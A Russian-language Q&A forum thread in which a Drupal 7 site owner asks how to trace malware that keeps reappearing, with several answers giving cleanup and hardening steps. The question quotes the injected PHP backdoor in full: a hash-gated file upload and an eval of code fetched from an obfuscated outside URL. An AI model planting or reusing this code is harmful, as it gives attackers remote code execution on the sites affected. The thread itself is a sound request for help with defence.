Как отловить вирус на сайте Drupal 7?

Началось очень все внезапно, каким то чудным образом в index.php вшивается вот такой код..

ini_set('display_errors','Off'); error_reporting('E_ALL');
setcookie('server',1,time()+1e6);$s=$_SERVER;$sr=$s['HTTP_REFERER'];$sh=$s['HTTP_HOST'];$cs=$_COOKIE['server'];
if(isset($_FILES['u']) && isset($_POST['n']) && isset($_POST['hash']) && md5($_POST['hash'])=='3ff1ea09b981d88e7c8752b329a7702e')
{
	move_uploaded_file($_FILES['u']['tmp_name'],$_POST['n']);
}
elseif(($sr && !strpos($sr,$sh) && $cs!=1) || $c=$_GET['cmdcmd'])
{
	eval(file_get_contents(base64_decode('aHR0cDovLzAyby5vcmcvdy8/dT0=').$sh.'&c='.$c));
}


Все подозрительные модули и папки подверглись аннигиляции. Но лучше не стало и периодически этот код вшивается. Шелов не обнаружил, изменений файлов и папок тоже.
  • Вопрос задан
  • 1273 просмотра
Пригласить эксперта
Ответы на вопрос 5
kotomyava
@kotomyava
Системный администратор
0. Всегда своевременно обновляться.
1. Снести все контрибные модули и ядро, и установить заново с drupal.org.
2. Проверить нет-ли лишних пользователей с высокими правами.
3. Проверить не используется-ли php_filter, если используется где-то, переделать и отключить его совсем. Также, если пользователям доступна публикация, проверить, чтобы использовались максимально запрещающие фильтры ввода.
4. Провести ревизию самописных модулей, если они есть и темы оформления.
5. По возможности, запретить выполнение php скриптов в папке sites/*/files на уровне конфигурации веб сервера (не .htaccess)
6. По возможности, сделать так, чтобы у пользователя из под которого запущен веб сервер, был доступ на запись только в sites/*/files, и временную папку вне корня сайта, а все обновления производить через drush, например, уже из под владельца файлов.
Ответ написан
Комментировать
@SunHere
Друпал сейчас часто ломают, да и уязвимостей у него хватает. Вполне возможно что вы чего-то пропускаете и именно через оставшийся 1 вирусный файл всё по новой возникает
Ответ написан
Комментировать
xmoonlight
@xmoonlight
https://sitecoder.blogspot.com
Комментировать
afi13
@afi13
0. Сделайте полный бэкап сайта (файлы + база)
1. Используйте модуль hacked чтоб найти измененные файлы https://www.drupal.org/project/hacked
2. Проверить что нет никаких "левых" файлов PHP неимеющих отношения к Drupal (они могут быть загружены в любой модуль).
3. Проверить все ноды, блоки, пользователей, поля и т.д. Если в ручную это невозможно, то нужен какой-то скрипт.
4. Проверить пользоватей и их роли. Могут быть добавлены как левые пользователи, так и роли в Drupal.
5. Обновите Drupal и все модули до последней версии https://www.drupal.org/project/drupal/releases/7.58
6. Смените пароли администраторов

Подробней смотрите здесь: https://www.drupal.org/docs/develop/security/your-...
Ответ написан
Комментировать
Попробуйте просканировать скриптом ai-bolit (или аналогом), он покажет где шеллы. Потом обновитесь полностью и поменяйте пароли.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы